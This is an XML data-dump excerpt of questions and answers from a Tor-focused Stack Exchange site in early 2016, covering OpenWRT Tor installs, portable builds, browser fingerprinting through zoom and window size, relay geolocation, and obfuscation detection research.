  <row Id="9590" PostTypeId="1" CreationDate="2016-02-02T03:11:41.053" Score="1" ViewCount="1819" Body="&lt;p&gt;I would like to setup a Tor router using my TP-Link TL-WR740N/ND flashed with OpenWRT. I have found &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/OpenWRT&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/OpenWRT&lt;/a&gt; which would explain how to do what I'm looking for but I' mnot gettingvery far due to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# opkg install tor&#xA;Unknown package 'tor'.&#xA;Collected errors:&#xA; * opkg_install_cmd: Cannot install package tor.&#xA;root@OpenWrt:~# &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why can it not install the tor package?&lt;/p&gt;&#xA;" OwnerUserId="10699" LastEditorUserId="10699" LastEditDate="2016-02-02T03:18:31.007" LastActivityDate="2016-05-03T04:35:45.187" Title="Tor on TP-Link TL-WR740N/ND to route all traffic" Tags="|routers|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9593" PostTypeId="1" AcceptedAnswerId="9608" CreationDate="2016-02-02T15:45:51.607" Score="0" ViewCount="490" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Wang, L., Dyer, K. P., Akella, A., Ristenpart, T., &amp;amp; Shrimpton, T.&#xA;  (2015, October). Seeing through Network-Protocol Obfuscation. In&#xA;  Proceedings of the 22nd ACM SIGSAC Conference on Computer and&#xA;  Communications Security (pp. 57-69). ACM.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;http://pages.cs.wisc.edu/~akella/papers/ccsfp653-wangA.pdf&quot; rel=&quot;nofollow&quot;&gt;this paper&lt;/a&gt; the authors proposed a method to detect obfuscated packets(including those obfuscated by obfsproxy4) with high TPR and very low FPR(0.002). In the discussion section the writers mentioned   &quot;It is important to note that the detection techniques we explore&#xA;can  be,  in  turn,  easily  circumvented  in  almost  all  cases  with&#xA;simple  updates  to  the  obfuscator&quot;. So I was wondering whether current obfuscators have done this or not.&lt;/p&gt;&#xA;" OwnerUserId="10705" LastEditorUserId="71" LastEditDate="2016-02-04T12:52:47.280" LastActivityDate="2016-02-04T21:48:21.123" Title="Can current obfuscators defeat deep packet inspection mentioned in &quot;Seeing through Network-Protocol Obfuscation&quot;?" Tags="|obfsproxy|obfs4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9594" PostTypeId="1" CreationDate="2016-02-02T18:54:30.827" Score="2" ViewCount="1032" Body="&lt;p&gt;A friend and I are working on a project that includes Tor. It needs to be completely portable, including all libraries it needs. All I was able to find via research was building a static Tor binary, but 1. It was noted that this is very bad practice, and 2. when I try to , I get: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;checking for event2/bufferevent_ssl.h... yes&#xA;checking for library containing pow... -lm  &#xA;checking for openssl directory... configure: WARNING: Could not find a linkable openssl.  If you have it installed somewhere unusual, you can specify an explicit path using --with-openssl-dir  &#xA;configure: WARNING: On Debian, you can install openssl using &quot;apt-get install libssl-dev&quot;    &#xA;configure: error: Missing libraries; unable to proceed.&#xA;root@K7DXS-Laptop:/var/git/tor#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that yes, I have installed libssl-dev using apt-get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strike&gt;Successfully compile a static binary that could be used in production, or&lt;/strike&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make the standard tor binary portable even on systems without the libraries (libevent, libssl, and zlib) without a static binary?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I just realized that I'm using a 64-bit system, so when compiling I would get a 64-bit binary. I need a 32-bit one for portability. &lt;/p&gt;&#xA;" OwnerUserId="10710" LastEditorUserId="10710" LastEditDate="2016-02-02T19:46:20.367" LastActivityDate="2017-01-30T00:44:36.297" Title="How to bundle completely portable version of Tor" Tags="|configuration|linux|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9595" PostTypeId="2" ParentId="9590" CreationDate="2016-02-02T19:12:39.770" Score="1" Body="&lt;p&gt;If you're certain you ran &lt;code&gt;opkg update&lt;/code&gt; as a preliminary step, then it's possible that the repository isn't up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you could do instead is pull your own copy from the &lt;a href=&quot;https://github.com/openwrt/packages/tree/master/net/tor&quot; rel=&quot;nofollow&quot;&gt;OpenWRT GitHub repository&lt;/a&gt;. This includes a Makefile that pulls the latest version of Tor from the Tor site.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-02-02T19:12:39.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9598" PostTypeId="1" CreationDate="2016-02-03T01:23:01.210" Score="1" ViewCount="125" Body="&lt;p&gt;If I use Tor browser with Disconnect Search engine it is not too bad but when I try to go to StackExchange I get tied up every time for about 5 minutes solving Captcha challenges. If I use my Firefox browser (without tor activated ) I get to StackExchange immediately with no challenges. I think it has something to do with cookies because when I turn my Firefox cookies option to off, I can not access my StackExchange account. I am still young at Tor and the learning curve is still steep so is there a way to have Tor know that I am a human and authorized to access my own account automatically or can someone direct me to somewhere that will help me understand how this works. I am currently using Firefox (without Tor activated) to access StackExchange because it is so much easier... and that should not be.&lt;/p&gt;&#xA;" OwnerUserId="10674" LastEditorUserId="10674" LastEditDate="2016-02-03T01:30:23.843" LastActivityDate="2016-02-03T01:30:23.843" Title="Captcha aggravation - chasing me away" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9600" PostTypeId="2" ParentId="9587" CreationDate="2016-02-03T22:43:42.517" Score="2" Body="&lt;p&gt;Go to Orbot-&gt;settings. Scroll down until you find &quot;debug&quot;.There is option called &quot;Torrc Custom config&quot;. Click on it,enter ip and port using this command: &lt;code&gt;SOCKSPort &amp;lt;localIP&amp;gt;:9050&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="10693" LastEditorUserId="-1" LastEditDate="2020-03-25T18:25:15.783" LastActivityDate="2020-03-25T18:25:15.783" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="9601" PostTypeId="1" AcceptedAnswerId="9602" CreationDate="2016-02-04T08:07:25.580" Score="1" ViewCount="94" Body="&lt;p&gt;How does Tor determine what country a node is based in? For ex, tracerouting this current relay ip &lt;code&gt;45.32.55.55&lt;/code&gt; shows it is from Japan, but Tor tags it as being from the &lt;a href=&quot;https://atlas.torproject.org/#details/FE516805FE0F9EB270E0697E9BB71F4F72788003&quot; rel=&quot;nofollow&quot;&gt;Netherlands&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10495" LastActivityDate="2016-02-04T08:51:05.303" Title="Nodes from Japan showing up as from Netherlands?" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9602" PostTypeId="2" ParentId="9601" CreationDate="2016-02-04T08:51:05.303" Score="4" Body="&lt;p&gt;IP geolocation is generally not an exact science, and similar anomalies have been discussed before: &lt;a href=&quot;https://tor.stackexchange.com/questions/368/why-does-hard-coded-node-faravahar-have-a-different-geolocation-usa-than-reg&quot;&gt;Why does hard coded node &amp;#39;Faravahar&amp;#39; have a different geolocation (USA) than registrar (Mauritius)?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;https://www.iplocation.net/&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt; (and others like it) check several different databases, and give several different results for the IP address you're looking at (including both Japan and the Netherlands, but also France).&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-02-04T08:51:05.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9604" PostTypeId="2" ParentId="3953" CreationDate="2016-02-04T15:15:36.980" Score="2" Body="&lt;p&gt;At &lt;a href=&quot;https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea&quot; rel=&quot;nofollow&quot;&gt;Tor blog&lt;/a&gt; they say it is not good idea to seed via Tor network. I think best bet of yours would be using Tor browser to contact anonymously someone from non-standard country to seed the torrent for you. You reward him by doing some service in exchange or paying him using cryptocurrency account created over tor network and source funds would be anonymized thru coin mixing service mentioned already by user &quot;mirimir&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to google some free service that allows uploading torrent and seeding for you for some time, im sure there are such services. Dont forget to use only Tor/Tor browser registering/using such service.&lt;/p&gt;&#xA;" OwnerUserId="10728" LastActivityDate="2016-02-04T15:15:36.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9605" PostTypeId="1" AcceptedAnswerId="9614" CreationDate="2016-02-04T15:21:53.413" Score="2" ViewCount="3581" Body="&lt;p&gt;Most websites have a small default letter size. If I change zoom level with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;+&lt;/kbd&gt;, does it happen entirely on my computer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know window size shouldn't be changed for anonymity reasons.&lt;/p&gt;&#xA;" OwnerDisplayName="user10729" LastEditorDisplayName="user10729" LastEditDate="2016-02-06T19:07:00.187" LastActivityDate="2016-11-21T06:55:45.940" Title="Can I change the zoom level in tor browser (without affecting anonymity)?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9606" PostTypeId="2" ParentId="9594" CreationDate="2016-02-04T15:33:46.297" Score="1" Body="&lt;p&gt;Actually you need to link the binaries all-static &lt;strong&gt;except&lt;/strong&gt; system libraries. I've tried to link it full-static, but the portability suffered greatly. That's how I ended with a portable build(for Raspberry Pi exactly) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldd /usr/tor/bin/tor&#xA;    /usr/lib/arm-linux-gnueabihf/libcofi_rpi.so (0xb6cbe000)&#xA;    libm.so.6 =&amp;gt; /lib/arm-linux-gnueabihf/libm.so.6 (0xb6c2e000)&#xA;    libssl.so.1.0.0 =&amp;gt; /usr/lib/arm-linux-gnueabihf/libssl.so.1.0.0 (0xb6bd5000)&#xA;    libcrypto.so.1.0.0 =&amp;gt; /usr/lib/arm-linux-gnueabihf/libcrypto.so.1.0.0 (0xb6a68000)&#xA;    libcap.so.2 =&amp;gt; /lib/arm-linux-gnueabihf/libcap.so.2 (0xb6a54000)&#xA;    libpthread.so.0 =&amp;gt; /lib/arm-linux-gnueabihf/libpthread.so.0 (0xb6a2c000)&#xA;    libdl.so.2 =&amp;gt; /lib/arm-linux-gnueabihf/libdl.so.2 (0xb6a19000)&#xA;    libz.so.1 =&amp;gt; /lib/arm-linux-gnueabihf/libz.so.1 (0xb69f2000)&#xA;    libgcc_s.so.1 =&amp;gt; /lib/arm-linux-gnueabihf/libgcc_s.so.1 (0xb69c5000)&#xA;    libc.so.6 =&amp;gt; /lib/arm-linux-gnueabihf/libc.so.6 (0xb6888000)&#xA;    /lib/ld-linux-armhf.so.3 (0x7f59c000)&#xA;    libattr.so.1 =&amp;gt; /lib/arm-linux-gnueabihf/libattr.so.1 (0xb6872000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-04T15:33:46.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9607" PostTypeId="1" AcceptedAnswerId="9610" CreationDate="2016-02-04T15:53:44.840" Score="3" ViewCount="1050" Body="&lt;p&gt;I know window size shouldn't be changed for anonymity reasons, but what if the page has already loaded? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it still affect anonymity?&lt;/p&gt;&#xA;" OwnerDisplayName="user10729" LastEditorUserId="9411" LastEditDate="2016-02-05T15:57:10.197" LastActivityDate="2016-11-18T18:44:46.357" Title="Is it safe to resize Tor Browser after the page has loaded?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9608" PostTypeId="2" ParentId="9593" CreationDate="2016-02-04T21:48:21.123" Score="0" Body="&lt;p&gt;[Disclaimer: I don't know the answer. Someone else might. What follows is a quick, fairly dumb investigation.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project page for Tor's separate projects can be found &lt;a href=&quot;https://gitweb.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking specifically at the pluggable transports, the most likely candidate for being updated to circumvent the techniques mentioned in the paper would be &lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/obfs4.git/&quot; rel=&quot;nofollow&quot;&gt;obfsproxy4&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The few commits that have gone in since October, when the paper was published, mainly seem to be single-liner bug fixes. The exception seems to be the addition of &quot;&lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/obfs4.git/commit/?id=611205be681322883a4d73dd00fcb13c4352fe53&quot; rel=&quot;nofollow&quot;&gt;Meek-Lite&lt;/a&gt;&quot;, the purpose of which seems to be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is intended primarily as a &quot;better than nothina&quot; option for&#xA;  enviornments that do not or can not presently use an external Firefox&#xA;  helper&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...which doesn't appear related to changing the obsfuscation mechanisms of the transport. So:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So I was wondering whether current obfuscators have done this or not.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd say no, at least not for obfsproxy4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that &lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/meek.git/&quot; rel=&quot;nofollow&quot;&gt;Meek&lt;/a&gt; has had a lot more updates since the paper. I haven't looked through the changes.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-02-04T21:48:21.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9609" PostTypeId="2" ParentId="3953" CreationDate="2016-02-05T03:01:55.880" Score="0" Body="&lt;p&gt;Here is another option. Using &lt;a href=&quot;https://tribler.org&quot; rel=&quot;nofollow&quot;&gt;Tribler&lt;/a&gt; behind free VPNs may help, as Tribler is specially designed to prevent leaking IP address (although it has some flaws currently, VPNs can still protect you when Tribler is exploited).&lt;br&gt;&#xA;Always use a separate VM for seeding to avoid exploits against your torrent client.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastEditorUserId="4894" LastEditDate="2016-02-05T14:17:22.927" LastActivityDate="2016-02-05T14:17:22.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9610" PostTypeId="2" ParentId="9607" CreationDate="2016-02-05T09:43:04.777" Score="3" Body="&lt;p&gt;&lt;sub&gt;edited due to &lt;a href=&quot;https://tor.stackexchange.com/questions/9607/is-it-safe-to-resize-tor-browser-after-the-page-has-loaded#comment13939_9610&quot;&gt;@DJCrashDummies comment&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ip-check.info/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ip-check.info/&lt;/a&gt; has proven this to be insecure. That is, &lt;strong&gt;window size &lt;em&gt;change&lt;/em&gt; can be determined even after the page has loaded completely&lt;/strong&gt;. As a proof of concept, try the code from &lt;a href=&quot;https://stackoverflow.com/a/26879317/1587329&quot;&gt;https://stackoverflow.com/a/26879317/1587329&lt;/a&gt;, and resize your browser width after the page has loaded (with JavaScript disabled). You will see that it is dynamically adjusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could unfortunately yield the browser width (and height) for an enterprising attacker.&lt;/p&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2016-11-18T18:44:46.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9611" PostTypeId="1" AcceptedAnswerId="13964" CreationDate="2016-02-05T09:47:35.170" Score="1" ViewCount="113" Body="&lt;p&gt;@Richard Horrocks &lt;a href=&quot;https://tor.stackexchange.com/a/8887/9411&quot;&gt;gave a pointer&lt;/a&gt; to the updated &lt;a href=&quot;http://sec.cs.ucl.ac.uk/users/smurdoch/papers/tor14design.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor design document of 2014&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any new updates available publicly?&lt;/p&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2017-02-07T09:07:30.957" Title="Update on Tor design paper" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9612" PostTypeId="2" ParentId="3953" CreationDate="2016-02-05T11:47:50.307" Score="2" Body="&lt;p&gt;I know this isn't exactly what you asked for, but because Bittorrent over Tor isn't considered the best thing to to there are other options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what you mean by &quot;movie&quot;, another option &lt;em&gt;might&lt;/em&gt; be to upload it directly to various leaking platforms. Most of them support a secure way to upload videos to the press directly. You may even want to upload it to different ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most famous one is &lt;a href=&quot;https://www.wikileaks.org/#submit&quot; rel=&quot;nofollow&quot;&gt;Wikileaks&lt;/a&gt; of course. But there is a lot of others, like &lt;a href=&quot;https://en.wikipedia.org/wiki/GlobaLeaks#Implementations&quot; rel=&quot;nofollow&quot;&gt;GlobaLeaks with many instances, Wikipedia having a big list&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/SecureDrop#Prominent_organizations_using_SecureDrop&quot; rel=&quot;nofollow&quot;&gt;SecuDrop also used by various organizations&lt;/a&gt;. They all allow you to upload it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for sharing files, be it movies or something else there actually are various website allowing that on the Tor network (so hidden services/onions). You might want to look for the Hidden Wiki and start there. That way you can simply host your file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end you also have the option of setting up an HTTP Server or something similar to share your movie that way. &lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2016-02-05T11:47:50.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9613" PostTypeId="2" ParentId="6976" CreationDate="2016-02-05T21:04:17.887" Score="1" Body="&lt;p&gt;You can run as many of them as you wish : they're not interfering to each other. To ensure proper speed and connectivity make sure they have been separated by external IP's, that's it.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-05T21:04:17.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9614" PostTypeId="2" ParentId="9605" CreationDate="2016-02-06T07:33:52.157" Score="2" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; due to &lt;a href=&quot;https://tor.stackexchange.com/questions/9605/can-i-change-the-zoom-level-in-tor-browser-without-affecting-anonymity?noredirect=1&amp;amp;lq=1#comment14025_9614&quot;&gt;users comment&lt;/a&gt; and clarification:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;to be accurate, you asked 2 different questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;If I change zoom level with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;+&lt;/kbd&gt;, does it happen entirely on my computer?&lt;/em&gt;&lt;br /&gt;&#xA;yes, zooming should be done entirely on your computer (like the normal rendering)&lt;s&gt;, but i'm not sure if it can be used afterwards to &quot;increase your uniqueness&quot;...&lt;/s&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Can I change the zoom level in tor browser (without affecting anonymity)?&lt;/em&gt;&lt;br /&gt;&#xA;no, &lt;a href=&quot;https://stackoverflow.com/questions/22223866/media-queries-for-different-zoom-levels-of-browser&quot;&gt;it seems&lt;/a&gt; that the &lt;strong&gt;zoom level can be used to &quot;increase your uniqueness&quot;&lt;/strong&gt;!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2016-11-21T06:55:45.940" LastActivityDate="2016-11-21T06:55:45.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9615" PostTypeId="1" CreationDate="2016-02-06T09:34:47.130" Score="1" ViewCount="178" Body="&lt;p&gt;I recently downloaded tails 2.0. I verified the signature through Ubuntu. Through command line. It gave a positive verification. On shut down of the tails 2.0. The normal screen comes up where it say the display will power down and to remove the DVD or USB drive. But instead of the DVD drive getting ejected some script starts to run. I immediately shut it down by use of the power button. The same script came up every time I shut it down about 4 times now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I double checked the ISO verification on the same tails (2.0) I downloaded it gave this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tails-I386-2.0 ISO untrusted valid signature. &#xA;Valid but untrusted sighed by on 2016-01-26&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On tails 1.8.1 it gives&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tails -I386-2.0 ISO good signature &#xA;sighed by on 2016-01-26&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do. Should I let this script run? Is this normal? Is it a one time thing? Is this  because it is Debian 8 (Jessie)? Does this happen to your download as well?&lt;/p&gt;&#xA;" OwnerUserId="7814" LastActivityDate="2016-02-06T09:34:47.130" Title="Tails 2.0 Issue script is running on shutdown" Tags="|tails|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9616" PostTypeId="1" CreationDate="2016-02-06T19:27:08.350" Score="0" ViewCount="272" Body="&lt;pre&gt;&lt;code&gt;mint scallion-gpg # mono scallion/bin/Debug/scallion.exe -l&amp;lt;br&amp;gt;&#xA;Unhandled Exception:&#xA;System.InvalidOperationException: ErrorCode:'-1001'&#xA;at scallion.CLDeviceInfo.CheckError (Int32 err) [0x00000] in :0&#xA;at scallion.CLDeviceInfo.GetPlatformIds () [0x00000] in :0&#xA;at scallion.CLDeviceInfo.GetDeviceIds () [0x00000] in :0&#xA;at scallion.CLRuntime.GetDevices () [0x00000] in :0&#xA;at scallion.Program.ListDevices () [0x00000] in :0&#xA;at scallion.Program.Main (System.String[] args) [0x00000] in :0&#xA;[ERROR] FATAL UNHANDLED EXCEPTION: System.InvalidOperationException: ErrorCode:'-1001'&#xA;at scallion.CLDeviceInfo.CheckError (Int32 err) [0x00000] in :0&#xA;at scallion.CLDeviceInfo.GetPlatformIds () [0x00000] in :0&#xA;at scallion.CLDeviceInfo.GetDeviceIds () [0x00000] in :0&#xA;at scallion.CLRuntime.GetDevices () [0x00000] in :0&#xA;at scallion.Program.ListDevices () [0x00000] in :0&#xA;at scallion.Program.Main (System.String[] args) [0x00000] in :0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What did I do wrong?&lt;/p&gt;&#xA;" OwnerUserId="10743" LastEditorUserId="8197" LastEditDate="2016-02-10T08:19:17.297" LastActivityDate="2016-02-10T08:19:17.297" Title="Scallion Error -1001" Tags="|onion-services|" AnswerCount="1" CommentCount="1" ClosedDate="2016-02-10T08:12:44.130" ContentLicense="CC BY-SA 3.0" />
  <row Id="9618" PostTypeId="2" ParentId="9616" CreationDate="2016-02-07T09:24:23.180" Score="1" Body="&lt;p&gt;I found this ticket on github: &lt;a href=&quot;https://github.com/lachesis/scallion/issues/30&quot; rel=&quot;nofollow&quot;&gt;https://github.com/lachesis/scallion/issues/30&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum things up: Check if you have OpenCL installed correctly.&lt;/p&gt;&#xA;" OwnerUserId="3160" LastEditorUserId="3160" LastEditDate="2016-02-07T10:27:12.760" LastActivityDate="2016-02-07T10:27:12.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9619" PostTypeId="1" CreationDate="2016-02-07T17:09:28.273" Score="0" ViewCount="988" Body="&lt;p&gt;I've set Tor to use United States exit nodes (torrc). Why is a US website still telling me that I can't watch a video in &quot;my location&quot;? How can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://www.nbc.com/saturday-night-live/video/february-6-larry-david/2976518?onid=139011&amp;amp;fe=1#vc139011=1&quot; rel=&quot;nofollow&quot;&gt;http://www.nbc.com/saturday-night-live/video/february-6-larry-david/2976518?onid=139011&amp;amp;fe=1#vc139011=1&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean I'm not browsing anonymously?&lt;/p&gt;&#xA;" OwnerUserId="10752" LastActivityDate="2016-04-07T18:57:59.357" Title="Why can't I change my apparent location using Tor?" Tags="|configuration|anonymity|location|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9620" PostTypeId="2" ParentId="9619" CreationDate="2016-02-07T18:04:25.127" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Check web page&lt;/a&gt; will tell you if you're using Tor or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Tor, your browsing is anonymous and can't be traced back to you. Your ISP may well know you're using Tor - because they can tell that you're connecting to a Tor entry guard - but they won't know what you're using it to look at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem you're probably facing is that NBC are actively detecting Tor traffic, and giving you the error page you're seeing on the assumption that you must be outside the US if you're using Tor. (Which wouldn't necessarily be true, but they can assume whatever they like.) The &lt;a href=&quot;https://tor.stackexchange.com/a/9406/1730&quot;&gt;BBC are doing exactly the same thing&lt;/a&gt; with both Tor and VPN traffic. They can do this because the IP addresses of Tor's exit nodes are known. (As are the exit addresses of lots of VPNs.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: Also note that there are probably legal reasons as to why their content isn't available outside of the US. For example, NBC probably don't own the rights to the content themselves, and therefore can't allow it to be seen outside of the US without the owner's permission.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-02-07T18:04:25.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9622" PostTypeId="1" CreationDate="2016-02-08T10:28:54.880" Score="0" ViewCount="530" Body="&lt;p&gt;I have hidden service with some hostname for it like eg: lbksdvcjhsdvcjhsdvc.onion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I set-up this hostname also for my VPS?&#xA;I tried but it can't resolve name for onion domain.&#xA;So is there a chance that I can set up correct my VPS hostname like the same for my hidden service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg. VPS hostname home.com www hostname home.com&#xA;VSP hostname lbksdvcjhsdvcjhsdvc.onion www lbksdvcjhsdvcjhsdvc.onion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I need to torify to properly resolve domain name for VPS with onion address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this question make sense :)&lt;/p&gt;&#xA;" OwnerDisplayName="user732" LastActivityDate="2016-02-10T17:49:47.207" Title="Onion hostname for VPS" Tags="|vps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9623" PostTypeId="2" ParentId="7256" CreationDate="2016-02-08T10:47:09.573" Score="3" Body="&lt;p&gt;They work on this: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/17599&quot; rel=&quot;nofollow&quot;&gt;#17599: Please add keyboard shortcuts for New Identity and New Tor Circuit for this Site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow this ticket to get know when it's ready.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information in the ticket tells it will be something like:&lt;br&gt;&#xA;New Identity: &lt;kbd&gt;Ctrl/Cmd&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt;&lt;br /&gt;&#xA;New Tor Circuit for this Site: &lt;kbd&gt;Ctrl/Cmd&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;L&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for now my friend there is no working keyboard short-cut.&lt;/p&gt;&#xA;" OwnerDisplayName="user732" LastEditorUserId="88" LastEditDate="2016-02-08T21:38:01.287" LastActivityDate="2016-02-08T21:38:01.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
